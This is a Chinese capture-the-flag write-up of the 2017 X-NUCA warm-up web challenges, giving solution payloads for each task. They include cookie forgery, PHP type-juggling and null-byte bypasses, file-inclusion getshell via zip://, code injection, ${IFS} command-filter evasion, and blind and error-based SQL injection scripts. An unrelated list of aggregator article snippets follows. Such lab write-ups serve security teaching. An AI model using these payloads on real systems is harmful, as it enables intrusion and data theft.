捉迷藏
题目url:http://218.76.35.75:20111/index.php
进去之后查看源码:
发现有隐藏链接:Index.php (Linux中对url大小写敏感) 手动输入后发现被跳转回来 于是在命令行使用curl工具逃逸跳转(curl默认不跟随跳转)
Payload: curl http://218.76.35.75:20111/Index.php
简单的问答
题目url:http://218.76.35.75:20112 进去之后查看源代码发现题目全是扯淡 源码截图如下:
分析form后提交post(工具:HackBar) PS:后台估计是没有处理q4字段,直接处理q3字段了
Payload: url -> http://218.76.35.75:20112
Post Field -> q1=2016&q2=lol&q3=22&success=true
后台后台后台
题目url:http://218.76.35.75:20113/ 进去之后只有一个Enter按钮可被操作, 目的是获得admin权限 观察到Response有新Cookie被set,
Member疑似Base64,Decode后发现是Normal,猜测这是基于Cookie的Auth,直接在浏览器控制台修改Cookie后点击Enter后获得Flag。
Payload: document.cookie="User=admin"
document.cookie="Member=QWRtaW4="
<--这是Admin字符串的base64 Encode
PHP是最好的语言
题目url:http://218.76.35.75:20114 进去看到源码,白盒审计 代码如下:
2016)?$v1=1:NULL;
//此v必须大于2016,这里用到了PHP的一个弱类型特点,在PHP中,当'2017aaaaabbbb' 与数字2016比较时,PHP会尝试把前者转换成数字,故前者会被转换成2017,这与(int)'2017asdadasd' = 2017是符合的,看下面[图1]
}
if(is_array(@$a["bar2"])){ //foo中必须含有一个k为bar2,v为数组的kv对
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
//bar2的v中的数组元素必须等于5个,并且第一个元素必须还是为数组
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
//foo中必须包含一个k为a2,v为nudt的kv对(我觉得出题人这里是想出成bar2中必须包含一个v为nudt的kv对)
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
//bar2里面的元素不允许包含nudt字符串
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
//这里利用了eregi会被%00截断的特点构造payload绕过检测
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
Payload:http://218.76.35.75:20114/?foo={"bar1":"2017Pr0ph3t","bar2":[[""],"","","",""],"a2":["fuck","nudt"]}&cat[0]=%00�htctf2016&cat[1][]=1&dog=222
Login
题目url:http://218.76.35.75:20115/ 进去之后随便点点观察到Url为?page=xxx,很有可能是文件包含,直接试一波php伪协议, php://filter/convert.base64-encode/resource=main
发现可以,遂读取页面源码 ----------- index.php ----------
----------- main.php ----------
trolol
main
server info
login
----------- login.php ------------
login
这一题比较迷。。因为题目逻辑貌似是直接随便包含一个log文件就能出flag。。 基本思路是,登陆带debug生成log然后在index.php里发log的参数。。 但是其实这一题估计是出题人改崩了。。。 王师傅有更6的解题思路。。。(我觉得这应该是正确的)。。 详情请移步http://www.jianshu.com/p/fd9f38753078
简单的文件上传
题目url:http://218.76.35.75:20122 中规中矩的上传检测,后台检测后缀和MIME类型,要求是php后缀并且MIME是jpg,直接F12截包修改MIME得到flag
简单的JS
题目url:http://218.76.35.75:20123 打开页面有提示The evil url is the passkey
,查看源码有
在控制台解码后为
访问http://218.76.35.75:20123/fl0a.php
后查看cookie得到flag
PHP是一门松散的语言
简单的文件包含
题目url:http://218.76.35.75:20126 题目描述是:flag在/flag里 打开页面随便点开一个page发现url疑似包含,伪协议不能用,所以根据题目描述把参数改成?page=/flag后在源码中可以得到下一个文件的名字,访问那个文件得到flag
简单的验证
题目url:http://218.76.35.75:20127 根据题目描述得知我们要变成admin才有权限看flag 页面并没有啥有用信息,查看cookie得到user和guess,看来又是一题基于cookie的Auth,因为是guess,所以可以猜到是爆破,直接上脚本:
#coding:utf8
import requests
se = requests.Session()
# -------- 简单的验证
for x in xrange(0,1000):
res = se.get('http://218.76.35.75:20127/index.php',cookies={'user':'admin','guess':'%d' % x})
print '[*] Trying ' + str(x)
if 'not' not in res.content:
print '[*] The guess num is ' + str(x)
print '[*] Content----------'
print res.content
exit()
GG
题目url:http://218.76.35.75:65380/ 进去以后是一个俄罗斯方块(我还玩了一下233333) 玩的过程中并没有在请求里面发现于后台的交互,这是前端题? 查看美化后的JS,发现有个地方比较奇怪
这里貌似是明示了一个js文件,名字是e100.js 访问一下发现是久违的jsFuck,直接丢进控制台就alert出flag了
Reappear
题目url:http://218.76.35.75:65180/ 进去以后发现是kindeditor,访问有文件遍历漏洞的php发现能用,看到attached文件夹下有flag_clue.php,访问之后发现疑似倒着的base64,python切片走一波,得到结果再base64解码后出flag
Payload:http://218.76.35.75:65180/kindeditor/php/file_manager_json.php?path=/
DrinkCoffee
题目url:http://218.76.35.75:65280/ 进去以后有Hint: Find the password to submit, but you should come from http://www.iie.ac.cn and your IP must be 10.10.20.1
并在Response header发现有password 那很清晰就是修改http header了,这里推荐一个火狐的插件叫:Modify Header 修改Referer为http://www.iie.ac.cn,X-Forward-for为10.10.20.1 ,然后把password拿到md5解密网站查找一下,找到密码为cafe,直接post上去即可拿到flag
Default
题目url:http://218.76.35.74:20131 进去以后啥都没有,根据提示开扫描器直接骚(立个flag,自己写一个扫描器) 骚到index2.php 访问之后发现有源码,是一个代码注入
直接上Payload
Payload:http://218.76.35.74:20131/index2.php?hello=);show_source('flag2.php'
Vote
题目url:http://218.76.35.75:65080/ 进去以后顺手扫一波,这里推荐一下自家的扫描器,介绍在下一篇文章 扫出备份文件, .index.php.swp后下载查看源码(不知道为什么这里vim -r无法修复文件,所以直接hexdump -C把能读的弄了出来,再用python切片倒叙一下再整理一下逻辑就有了大概的源码了。
#coding:utf8
raw = '''echo 'goBack ';
echo '';
echo ''.$arr[0].' '.round($arr[1], 2).' ';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo ''.$arr[0].' ';
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
while ($r = mysql_fetch_array($q)) {
echo 'Logo Total votes Average ';
echo '';
echo 'Thank you! Results:
';
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$vote = 1;
if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
$id = $_POST['id'];
die('please select ...');
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
$login = $_SESSION['login'];
}
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
if (!isset($_SESSION['login'])) {
session_start();
include 'db.php'; < ?'''
arr = raw.split('\n')
print '\n'.join(arr[::-1])
得出大概的源码
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
die('please select ...');
}
$id = $_POST['id'];
if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
$vote = 1;
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
echo 'Thank you! Results:
';
echo '';
echo 'Logo Total votes Average ';
while ($r = mysql_fetch_array($q)) {
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
echo ''.$arr[0].' ';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo ''.$arr[0].' '.round($arr[1], 2).' ';
}
echo '
';
echo 'goBack ';
可以审计代码发现疑似是二次注入,利用的是id字段,这里有个小技巧就是利用hex来绕过is_numeric的检测 经过测试是没问题的,但是猜测可能id字段长度有限。。。。所以去information_schema.tables里面注入不了东西 被截断了 然后只能猜表名了。。。 最后猜到是t_flag表 字段为flag
最后吐槽一下这题提示有点少。。。。。
Document
题目url:http://218.76.35.74:20129 进去之后查看源码发现有inlude.php提示 进去include.php查看源码发现此文件有file参数和有upload.php的提升 猜测这个文件是用来文件包含的,进去upload.php发现是个上传,那问题很清晰了, upload.php上传shell-->include.php包含执行命令的文件-->getshell
然后测试include.php发现php伪协议是可以用的 读取源码 upload.php
include.php
Tips: the parameter is file! :)
=70)
{
echo " error!
";
}
else
{
include($file.'.php');
}
}
?>
发现并没有过滤zip或者phar协议 可以选择上传压缩包并用伪协议解压
最后getshell payload如下: url+?file=zip://upload/shell.jpg%23shell&pp=(命令写这)
这题有点坑的是不知道是谁写了个假flag在upload里面。。大家改得不亦悦乎23333333 我以为flag已经被改掉了
结果最后还是自己太菜了。。。 命令上find / | grep flag 能在/etc/.sshkey/flag.txt下找到flag 23333还是挺好玩的
阳光总在风雨后
题目url:http://218.76.35.74:20130 进去以后是个简单的登陆界面,扫一扫发现有admin目录(再次打广告 我刚刚撸的一个扫描器不错 在下一篇文章有介绍)然后就猜测是要注入登陆进去,日常输入admin、admin后发现提示密码错误,那就很明显是一个盲注了,然后这题还过滤了很多字符
如:and、or、|、空格、union、information、..... 这题有点坑。。过滤了information....也就是说表名要自己猜。。 最后猜到是admin 直接上脚本
#coding:utf8
import requests
se = requests.Session()
payload = '1\'%%(ascii(mid((select(group_concat(passwd))from(admin))from(%d)))=%d)%%\'1'
passwd = ''
for x in xrange(1,34):
for y in xrange(33,127):
res = se.post('http://218.76.35.74:20130/login.php',data={'uname':payload % (x,y), 'passwd' : 'fuck'})
if 'password error!!' in res.content:
print chr(y)
passwd += chr(y)
break
else:
print payload % (x,y)
print '[*] passwd = ' + passwd
print '[*] passwd = ' + passwd
跑出来密码是: 50f87a3a3ad48e26a5d9058418fb78b5
去cmd5碰撞
拿admin、shuangshuang登陆进去之后是一个命令执行的界面
ls一下发现只有index.php ls ../admin发现没有结果 猜测是把空格过滤了,试试系统变量${IFS}可以绕过,然后尝试读取上一级目录发现只有login.php回显,不对劲,因为上一级目录是肯定存在index.php的,这里猜测是后台只截取了最后一行的输出,那这里可以使用head命令输出第一行 命令执行绕过http://blog.csdn.net/qq_27446553/article/details/73927518
这里偷个懒直接写脚本了。。
#coding:utf8
import requests
import re
se = requests.Session()
cookie = {'PHPSESSID' : '5cpbv7knav0mfshnmn5a2u3ku4'}
url = 'http://218.76.35.74:20130/admin/index.php'
for x in xrange(1,30):
payload = r'find${IFS}/${IFS}|grep${IFS}flag|head${IFS}-n${IFS}' + str(x)
res = se.post(url,cookies=cookie,data={'ord' : payload})
feedback = re.findall(r'.*
(.*)命令执行完成!.*',res.content, re.M|re.S)
print feedback[0].strip()
这个有点可疑 cat之后出flag
试试XSS
题目url:http://218.76.35.75:20125 这题很粗暴,直接XSS 不多说直接上poc
这题要吐槽的是下面的payload不行。。。??why???
' onerror='alert(document.domain)'
http头注入
题目url:http://218.76.35.75:20121 进去之后又提示,修改http头,点击link进入之后Fuzz出Referer存在注入,估计是insert的注入,一般来说是基于时间的盲注和报错注入,这里我选择比较简单快捷的报错注入,具体payload估计已经烂大街了,如下:
http://1' || 1=(updatexml(1,concat(0x3a,(查询语句)),1)) || '
结果如下: 库名:http://1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
ctfweb20110 表名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'ctfweb20110')),1)) and '
flag,visits 字段名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')),1)) and '
id,flag 查flag:http://1' and 1=(updatexml(1,concat(0x3a,(select flag from flag)),1)) and '
最安全的笔记管理系统
题目url:http://218.76.35.74:20128
...... 待更新
你可能感兴趣的:([2017X-nuca] 赛前热身Writeup)
2025年数学建模美赛 微分方程预测 思路解析和代码 2025年美赛(MCM/ICM)
2025年数学建模美赛
2025年美赛MCM/ICM 数学建模 算法 2025年 2025年美赛 2025年数学建模美赛
(全部都是公开资料,不代写论文,请勿盲目订阅)2025年数学建模美赛期间,会发布思路和代码,赛前半价,赛前会发布往年美赛的经典案例,赛题会结合最新款的chatgpto1pro分析,会根据赛题难度,选择合适的题目着重分析,没有代写论文服务,只会发布思路和代码,因为赛制要求,不会回复私信。内容可能达不到大家预期,请不要盲目订阅。已开通200美元/月的chatgptpro会员,会充分利用chatgpto
2025年美赛数学建模 MCM 问题 C:奥运奖牌榜模型
2025年数学建模美赛
2025年美赛MCM/ICM 数学建模 2025年美赛 2025年MCM C题 问题 C:奥运奖牌榜模型 2025 2025数学建模美赛 思路
全部都是公开资料,不代写论文,请勿盲目订阅)2025年数学建模美赛期间,会发布思路和代码,赛前半价,赛前会发布往年美赛的经典案例,赛题会结合最新款的chatgpto1pro分析,会根据赛题难度,选择合适的题目着重分析,没有代写论文服务,只会发布思路和代码,因为赛制要求,不会回复私信。内容可能达不到大家预期,请不要盲目订阅。已开通200美元/月的chatgptpro会员,会充分利用chatgpto1
C语言的那点事第九篇:那些“幕后英雄”的故事,预处理
暮雨哀尘
C语言的那点事 算法 c语言 开发语言 青少年编程 蓝桥杯 c++
C语言中的预处理:那些“幕后英雄”的故事在C语言的世界里,编译器就像一位严谨的厨师,把我们写的代码变成可执行的程序。但在这道菜上桌之前,还有一群“幕后英雄”在默默工作,它们就是预处理器。今天,就让我们一起走进预处理器的世界,看看它们是如何在代码的舞台上施展魔法的。一、预处理:编译前的“热身运动”在C语言的编译过程中,预处理是第一道工序。想象一下,你准备做一道复杂的菜,首先得把食材准备好,该洗的洗,
计算之魂思考题1.4赛跑问题
独正己身
算法 算法
一、问题假设由25名短跑者争夺比赛前三名,赛场上有5条赛道,一次可以有5名选手同时比赛。比赛不计时,只看相应名次。假设选手发挥稳定,也就是说如果约翰比张三跑得快,张三比凯莉跑得快,那么约翰一定比凯莉跑得快。最少需要几次比赛才能决出前三名?二、思路首先分5组ABCDE,每组5人比一次将各组的第一名拉出来比一次,则此时决出第一名,假设A1将A2BCDE1比一次,决出第二名C1或A2。将A3BCDE1或
2025美赛数学建模-备战2025数学建模美赛——神经网络预测模型详解
2025年数学建模美赛
2025年美赛MCM/ICM 数学建模 算法 2025年数学建模美赛 2025年 2025年美赛 神经网络 人工智能
(全部都是公开资料,不代写论文,请勿盲目订阅)2025年数学建模美赛期间,会发布思路和代码,赛前半价,赛前会发布往年美赛的经典案例,赛题会结合最新款的chatgpto1pro分析,会根据赛题难度,选择合适的题目着重分析,没有代写论文服务,只会发布思路和代码,因为赛制要求,不会回复私信。内容可能达不到大家预期,请不要盲目订阅。已开通200美元/月的chatgptpro会员,会充分利用chatgpto
编程之路:蓝桥杯备赛指南
酷酷的崽798
机器学习 蓝桥杯 职场和发展
文章目录一、蓝桥杯的起源与发展二、比赛的目的与意义三、比赛内容与形式四、比赛前的准备五、获奖与激励六、蓝桥杯的影响力七、蓝桥杯比赛注意事项详解使用Dev-C++的注意事项一、蓝桥杯的起源与发展蓝桥杯全国软件和信息技术专业人才大赛,简称蓝桥杯,自2009年创办以来,已成为中国最具影响力的计算机类赛事之一。该比赛旨在促进高校学生的编程能力与创新思维,提高他们的实际动手能力。二、比赛的目的与意义提高专业
半马之前
南九条7号
最近状态调整的不错,跑起来充满力量。今天慢跑1小时,差点儿没压住,让心率超过1区。业余选手训练时间真的是最大的敌人,原本计划晚上的饭局,不用我去了,高兴之余,今天的课表完全打乱了。让我重新计划明天早上半马的训练。上一次半马的时候,只跑了6公里就放弃了,然后和教练墨迹了半天。但是从那以后,茅塞顿开,训练质量开始有了保障。明天又是半马,我计划早上4点半起床,热身、跑步、冷身。跑前最后测试有氧能力的机会
【足坛简讯】9月2日足坛简讯及比赛预告
神州足球
【足坛简讯】9月2日足坛简讯及比赛预告9月2日足坛简讯与比赛预告比赛结果✍️意甲第3轮:十人米兰2-1罗马三连胜领跑莱奥凌空斩吉鲁点射托莫里染红✍️德甲第3轮:两连平!多特连丢两球2-2遭升班马海登海姆扳平布兰特凌空斩✍️沙特联:米特洛维奇戴帽本泽马破门新月连入三球4-3逆转吉达联合✍️热身赛:中国国奥1-0土库曼斯坦国奥,艾菲尔丁制胜球国内足坛✍️明日之星足球赛:上海队点球憾负曼城,大阪樱花蔚山
我们终其一生都在修炼柔软
圆梦随笔
本周四晚上我去参加了成都头马和川大头马举行的联合英语会议。我的角色是motivator(激励者)。在会议的正式备稿演讲前,我给大家做2到3分钟的热身英语演讲。我早就写好了稿子。到了周四下午,我突然意识到要给大家传递正能量。我想到钻石和石墨的区别。大家下班后来练习英语演讲,就是想把自己打磨成钻石。成都头马和川大头马人才济济,只有钻石才能切割钻石。我的激励演讲就是让大家拭目以待,接下来观看头马人是怎么
亲子日记第64篇
丫丫宝贝0507
2018年3月30日星期五天气晴今天是周五,晚上张我学舞蹈。今天又没有赶上校车,又跟着金金去她家吃饭,吃完饭,金金爸爸把我们俩送过去学舞蹈。今晚我们学舞蹈先热身,再练基本功。基本功都过关了,但是练组合《你不是我的菜》,我们都没有通过,老师就把让我继续跳,合格了才能拿回奖的进步卡。第一轮我没有合格,第二轮我合格了,又拿回奖励的进步卡。到最后还有4名同学没有拿回,老师让她们继续练,下次舞蹈课,合格了再
2019-01-21
张盼老师
专题30《我能速读增记忆》。学习目标:一、了解人的眼睛接受文字的信息的速度远远落后于人脑思维的速度。了解速读能使眼睛跳跃式扫描、思维快速运转,做到眼看脑记,眼脑同步。二、尝试在阅读时减少头脑中潜在的发音现象,扩大视区和识记的范围。学会把阅读的主视区放在每一段文字的开头和结尾部分。三、感受速度对提高记忆效率的作用,以及由此带来的快乐体验和自信心。①热身阶段:“过目不忘”有点难。通过一个过目不忘的游戏
博弈论专题 kuangbin题单(巴什,威佐夫,nim,fib博弈)+SG函数打表
我不是手机
博弈论
省赛前先练着,回来补完巴什博弈:一堆n个物品两个人来拿,每人至少拿一个,最多拿m个,问最后取完的人win判断条件:n%(m+1)!=0cin>>n>>m;if(n%(m+1)!=0)cout>a>>b;if(a>b)swap(a,b);inttemp=(b-a
2024年云曦网络安全实验室2024春季学期开学考复现Writeup
2301_82257383
程序员 web安全 android 安全
构造的payloa为http://172.16.17.201:50183/Gentle_sister.php/?my_parameter[]=1可以直接访问也可以Hackbar工具传参。通过使用my_parameter[]=1,相当于是告诉服务器,我们在传递的是一个包含1的数组而非数字或字符串,在这种情况下,$_GET[‘my_parameter’]得到的将是一个数组,而不是一个单一的值。原本脚本
备战2024数学建模国赛(模型三十):遗传算法 优秀案例(三) 变循环发动机部件法建模及优化
2024年数学建模国赛
备战2024数学建模国赛 2024数学建模(不代写论文 请勿盲目订阅) 数学建模 2024年数学建模国赛 备战数学建模国赛 算法 遗传算法 2024
专栏内容(赛前预售价99,比赛期间299):2024数学建模国赛期间会发布思路、代码和优秀论文。(本专栏达不到国一的水平,适用于有一点点基础冲击省奖的同学,近两年有二十几个国二,但是达不到国一,普遍获得省奖,请勿盲目订阅)python全套教程(一百篇博客):从新手到掌握使用python,可以对数学建模问题进行建模分析。35套模型算法(优秀论文示例):马尔科夫模型、遗传算法、逻辑回归、逐步回归、蚁群
2024高教社杯数学建模国赛论文 C题农作物的种植策略 详细思路、代码和优秀论文
2024年数学建模国赛
备战2024数学建模国赛 2024数学建模(不代写论文 请勿盲目订阅) 数学建模 数学建模国赛 2024数学建模国赛 2024年高教社杯 D题
专栏内容(赛前预售价99,比赛期间299):2024数学建模国赛期间会发布思路、代码和优秀论文。(本专栏达不到国一的水平,适用于有一点点基础冲击省奖的同学,近两年有二十几个国二,但是达不到国一,普遍获得省奖,请勿盲目订阅)比赛思路会程序更新到专栏内:https://blog.csdn.net/m0_52343631/category_12482955.html?spm=1001.2014.3001
自信游戏规则
自我成长每一天
书名《自信的陷阱》作者(澳)路斯-哈里斯分类心理自助本书目录:(一)热身(二)双刃剑(三)你的动力是什么(四)驯服你的恐惧(五)进行自信游戏自信不是一件一劳永逸的事,而是一个挑战自我的长期过程。自信不是一个最终结果,而是一个不断坚守自我价值的过程。要么大胆尝试,要么一无所获。你的人生很有可能因为“缺乏自信”“害怕失败”“表现焦虑”和“自我怀疑”而失去很多。如果你更自信,人生会有何不同?自信的缺失并
vulnhub靶机-DC2-Writeup
含日
靶机 linux 安全 靶机 渗透测试 安全漏洞
0x01部署靶机地址:https://www.vulnhub.com/entry/dc-2,311/DESCRIPTIONMuchlikeDC-1,DC-2isanotherpurposelybuiltvulnerablelabforthepurposeofgainingexperienceintheworldofpenetrationtesting.AswiththeoriginalDC-1,i
健康快乐每一天
善慧_b7b1
2018.10.29星期一(农历九月二十)天气晴图片发自App白天忙乎一大天,屋里这个凉啊,晚上还是出去打拳锻炼吧,热热身。晚上的天空真美,一丝风都没有,场地静的掉根针似乎都听着了,脚底板踩撵着树叶的声音都显着清脆,一通拳下来浑身发热冒汗,真好,经常晚上打拳,练就了一双好眼神,多小的字都看见了,不花,最终目标是练成火眼金睛哈哈。打完拳为了散散汗,散气,沿着街道走走,马路上车水马龙,道两旁的路灯,灯
宣州区老体协狸桥分会首届"邮政杯“贯蛋比赛圆满落幕
b547f4291b58
通讯员王炳来刘道林摄影报道为丰富全镇老年人精神文化生活,营造良好的娱乐氛围,加强会员们团队意识,增进居民的情感交流,让更多老年人参与到文明实践中。5月14日宣州区狸桥镇老体协分会在本会活动室开展了“邮政杯”掼蛋比赛,吸引了全镇40多位老人参与了比赛。在开赛前,由副会长许修明宣读了《宣州区老体协狸桥镇分会举办惯蛋比赛活动方案》、《宣州区老体协狸桥镇分会惯蛋比赛规则》、《宣州区老体协狸桥镇分会惯蛋比赛
【13】成功不应该等于钱和权
苏静安
“现在中国社会的浮躁非常严重!三四十岁的精英分子,英文非常好但是文化底蕴非常差,而且很傲慢。有一次达沃斯世界经济论坛邀请中国一位年轻的企业家去研讨,他张口就问:是我跟他们学还是他们跟我学?还有一次在联合国做演讲,每个人发言的时间都限定了,国际上的著名学者都提前写好发言稿,把握时间。可是我们的一位年轻学者没有做任何书面准备,上台先花五分钟‘热身’,到他真正要讲的时候没有时间了。更让人担心的是,真正想
7月9日群接龙读吧44写吧31
小尘老师
7月9日,第3期"教育行走一起写吧"挑战300天活动“赛前准备”第32天。我们的任务:每天一记录(500字以上自由写作),每月一精品(2000字以上主题作文,8月1日开启后统一要求)我们的标准动作:写文(推荐)+挑战群中接龙(字数、题目+链接)+“教育行走一起写吧”小打卡圈打卡(字数、标题、内容)。每月精品文还需要登记在腾讯文档(链接入66口查看群公告2022年x月份主题文:“300天”(2000
减肥日常记录第二十七天
43117872f03f
运动:早上热身运动半小时,瑜伽十分钟。晚上热身运动四十分钟,瑜伽十多分钟。饮食:早饭煮玉米300克和炒鸭腿肉60克。午饭煮玉米250克和炒鸭腿肉60克。下午吃了120克番茄。早饭250克煮玉米。晚上纯牛奶200克。体重:早上起来64.5。晚上体重64.7。早上把800克玉米丢电饭锅里煮,因为是两根打算当早饭和午饭。一查玉米热量把我吓到了!我的是甜玉米算是水果玉米的一种,热量107一百克。我这800
2024高教社杯数学建模国赛论文 C题 农作物的种植策略 详细思路、代码和优秀论文
2024年数学建模国赛
备战2024数学建模国赛 2024数学建模(不代写论文 请勿盲目订阅) 数学建模 2024年数学建模国赛 2024高教社杯 2024 论文
专栏内容(赛前预售价99,比赛期间299):2024数学建模国赛期间会发布思路、代码和优秀论文。(本专栏达不到国一的水平,适用于有一点点基础冲击省奖的同学,近两年有二十几个国二,但是达不到国一,普遍获得省奖,请勿盲目订阅)比赛思路会程序更新到专栏内:https://blog.csdn.net/m0_52343631/category_12482955.html?spm=1001.2014.3001
今日一记
懂心理的语文老师
今天第一次去社区上课,其实算是做好了充分的准备,可是到了党群驿站之后,才发现投影仪不能用,怎么办?就现有的条件上呗。本来以为自己会紧张,其实不紧张。我总是这样,在事情来临之前,想得多紧张多害怕的样子,临了,就不怎么紧张了。招募做得比较早,社工今天又没有提前通知,大概是有的成员都忘记了,3点了,才来两三个人。内心有一丝的不安:这如果只来两三个人,怎么上啊?还好,后来陆续来齐了。带着他们做了热身游戏,
2021高教社杯数学建模国赛C题详细代码 文章 数据 教学 保姆级手把手包含文档格式 2024数模国赛教学:生产企业原材料的订购和转运方案
千千小屋grow
数学建模 c语言 算法
本系列专栏将包括两大块内容第一块赛前真题和模型教学,包括至少8次真题实战教学,每期教学专栏的最底部会提供完整的资料百度网盘包括:真题、数据、可复现代码以及文章.第二块包括赛中思路、代码、文章的参考助攻,会提供2024年高教社国赛各个赛题的全套参考内容(一般36h内更新完毕),欢迎订阅!这期文档是2021年的高教授全国大学生数学建模比赛C题的一个详细的复盘建模教学,也包括代码复现生产企业原材料的订购
备战2024数学建模国赛(模型十五):模糊综合评价 优秀案例(一)确定汽车装配顺序问题的算法
2024年数学建模国赛
备战2024数学建模国赛 2024数学建模(持续更新 耐心等待) 数学建模 汽车 算法 2024数学建模国赛 备战2024数学建模国赛 模糊综合评价 模型
专栏内容(赛前预售价99,比赛期间299):2024数学建模国赛期间会发布思路、代码和优秀论文。(本专栏达不到国一的水平,适用于有一点点基础冲击省奖的同学,近两年有二十几个国二,但是达不到国一,普遍获得省奖,请勿盲目订阅)python全套教程(一百篇博客):从新手到掌握使用python,可以对数学建模问题进行建模分析。35套模型算法(优秀论文示例):马尔科夫模型、遗传算法、逻辑回归、逐步回归、蚁群
一地鸡毛—一个中年男人的日常2021352
随止心语所自欲律
2021年12月20日,星期一,晴。早起六点,是妻子将我叫醒,因为昨晚我说过早上要跑步。起床正准备换衣服,看小女已醒,就逗弄两下。妻子说让我哄一会小女,她睡一个小时。我于是抱着小女在客厅哄了一会。妻子终究还是不放心,不一会儿就来到客厅抱走小女。于是我换了衣服开始跑步,明月高悬,冷风习习,感觉今日天气特别冷,关节僵硬,跑了三公里,依然没有完全热身。跑到体育场结果没跑几圈被两女超过,心有不甘,加快步频
陈萌 中原焦点团队网络初级23期 坚持分享第257天 2021年4月7日
萌萌_ac9c
由于没有热身以及没有经常跑步,前天直接跑了十公里,导致这两天双腿肌肉酸疼,有点儿影响正常走路。由此想到,做任何事都不是一蹴而就的。比如写一篇文章,得提前查阅各种资料;想写一手好字,得每天坚持练习;想学习某种技能,首先得充分了解它等等。就像我跑的十公里,如果从一开始,就坚持每天跑两公里,适应之后再慢慢加,比赛之前再做些热身动作,那么跑完之后,我就不会出现双腿肌肉酸疼了。世间万事万物皆有一个发生、发展
第十五届蓝桥杯大赛青少组——赛前解析(算法)
小芋头的初码农
蓝桥杯 蓝桥杯 算法 python
算法:进制转换、模拟算法,枚举算法,冒泡排序,插入排序,选择排序,递推算法,递归算法,贪心算法。1.进制转换二进制:只包含0和1八进制:只包含0-7十进制:只包含0-9十六进制:只包含0-9和‘A’-‘F’十进制转二进制、八进制、十六进制十进制数a=5二进制b=bin(a);八进制c=oct(a);十六进制d=hex(a)二进制转十进制、八进制、十六进制二进制数a=‘101010’十进制b=int
备战2024数学建模国赛(模型十九):排队论 优秀案例(一)火车票购票网站优化
2024年数学建模国赛
备战2024数学建模国赛 备战2024数学建模 数学建模 2024年数学建模国赛 2024 数学建模国赛 马尔科夫模型 排队论
专栏内容(赛前预售价99,比赛期间299):2024数学建模国赛期间会发布思路、代码和优秀论文。(本专栏达不到国一的水平,适用于有一点点基础冲击省奖的同学,近两年有二十几个国二,但是达不到国一,普遍获得省奖,请勿盲目订阅)python全套教程(一百篇博客):从新手到掌握使用python,可以对数学建模问题进行建模分析。35套模型算法(优秀论文示例):马尔科夫模型、遗传算法、逻辑回归、逐步回归、蚁群
log4j对象改变日志级别
3213213333332132
java log4j level log4j对象名称 日志级别
log4j对象改变日志级别可批量的改变所有级别,或是根据条件改变日志级别。
log4j配置文件:
log4j.rootLogger=ERROR,FILE,CONSOLE,EXECPTION
#log4j.appender.FILE=org.apache.log4j.RollingFileAppender
log4j.appender.FILE=org.apache.l
elk+redis 搭建nginx日志分析平台
ronin47
elasticsearch kibana logstash
elk+redis 搭建nginx日志分析平台
logstash,elasticsearch,kibana 怎么进行nginx的日志分析呢?首先,架构方面,nginx是有日志文件的,它的每个请求的状态等都有日志文件进行记录。其次,需要有个队 列,redis的l
Yii2设置时区
dcj3sjt126com
PHP timezone yii2
时区这东西,在开发的时候,你说重要吧,也还好,毕竟没它也能正常运行,你说不重要吧,那就纠结了。特别是linux系统,都TMD差上几小时,你能不痛苦吗?win还好一点。有一些常规方法,是大家目前都在采用的1、php.ini中的设置,这个就不谈了,2、程序中公用文件里设置,date_default_timezone_set一下时区3、或者。。。自己写时间处理函数,在遇到时间的时候,用这个函数处理(比较
js实现前台动态添加文本框,后台获取文本框内容
171815164
文本框
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://w
持续集成工具
g21121
持续集成
持续集成是什么?我们为什么需要持续集成?持续集成带来的好处是什么?什么样的项目需要持续集成?... 持续集成(Continuous integration ,简称CI),所谓集成可以理解为将互相依赖的工程或模块合并成一个能单独运行
数据结构哈希表(hash)总结
永夜-极光
数据结构
1.什么是hash
来源于百度百科:
Hash,一般翻译做“散列”,也有直接音译为“哈希”的,就是把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
乱七八糟
程序员是怎么炼成的
eclipse中的jvm字节码查看插件地址:
http://andrei.gmxhome.de/eclipse/
安装该地址的outline 插件 后重启,打开window下的view下的bytecode视图
http://andrei.gmxhome.de/eclipse/
